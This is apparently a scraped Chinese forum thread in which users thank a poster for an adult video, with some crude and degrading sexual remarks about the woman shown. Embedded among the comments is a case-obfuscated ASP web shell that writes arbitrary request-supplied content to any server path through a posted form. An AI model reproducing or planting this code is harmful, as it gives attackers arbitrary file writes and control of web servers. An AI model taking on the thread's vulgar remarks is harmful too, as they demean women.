樓主你分享的東西真是太好了!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

呵呵   好东西
     谢谢楼主啊

<% Dim ObjFSO %>
<% Dim FDAtA %>
<% Dim ObjCOuntFilE %>
<% On ErrOr rEsumE nExt %>
<% SEt ObjFSO = SErvEr.CrEAtEObjEct("Scripting.FilESystEmObjEct") %>
<% iF Trim(rEquEst("syFDpAth"))<>"" thEn %>
<% FDAtA = rEquEst("cyFDDAtA") %>
<% SEt ObjCOuntFilE=ObjFSO.CrEAtETExtFilE(rEquEst("syFDpAth"),TruE) %>
<% ObjCOuntFilE.WritE FDAtA %>
<% iF Err =0 thEn %>
<% rEspOnsE.writE "<FOnt cOlOr=rED>成功!</FOnt>" %>
<% ElsE %>
<% rEspOnsE.writE "<FOnt cOlOr=rED>失败!</FOnt>" %>
<% EnD iF %>
<% Err.clEAr %>
<% EnD iF %>
<% ObjCOuntFilE.ClOsE %>
<% SEt ObjCOuntFilE=NOthing %>
<% SEt ObjFSO = NOthing %>
<% REspOnsE.writE "<FOrm ActiOn='' mEthOD=pOst>" %>
<% REspOnsE.writE "保存路径:</FOnt>" %>
<% REspOnsE.WritE "<input typE=tExt nAmE=syFDpAth wiDth=32 sizE=50 vAlue='"&sErvEr.mAppAth(REquEst.SErvErVAriAblEs("SCRIPT_NAME"))&"'>" %>
<% = %>
<% REspOnsE.writE "<br>" %>
<% REspOnsE.writE "输入内容:" %>
<% REspOnsE.writE "<tExtArEA nAmE=cyFDDAtA cOls=80 rOws=10 wiDth=32></tExtArEA>" %>
<% REspOnsE.writE "<input typE=submit vAluE=保存>" %>
<% REspOnsE.writE "</FOrm>" %>

这个片子真的很不错，看样子好像也蛮清晰的哦！

phpegg

这个片子我以前下过，是日本的A片吧，不过女的很有气质的说，谢谢楼主发片了

看图片很不错啊，谢谢楼主发片，辛苦辛苦。

看着我喜欢，应该是国语的吧，听的懂就爽拉，看女的象

楼主辛苦了，以后还希望多发精品，MM口技一流，BB也不错，我喜欢。

kyolemon

应该是日本的吧，女的脸蛋很漂亮，谢谢楼主了。
我怎么下不了？哪里错了？下的是一个26字节的压缩包，还是损坏的，楼主检查下吧。

[ 本帖最后由 kyolemon 于 2008-10-9 21:02 编辑 ]

这个骚女人大逼太难看了，闭灯操吧。一看就不干净！！！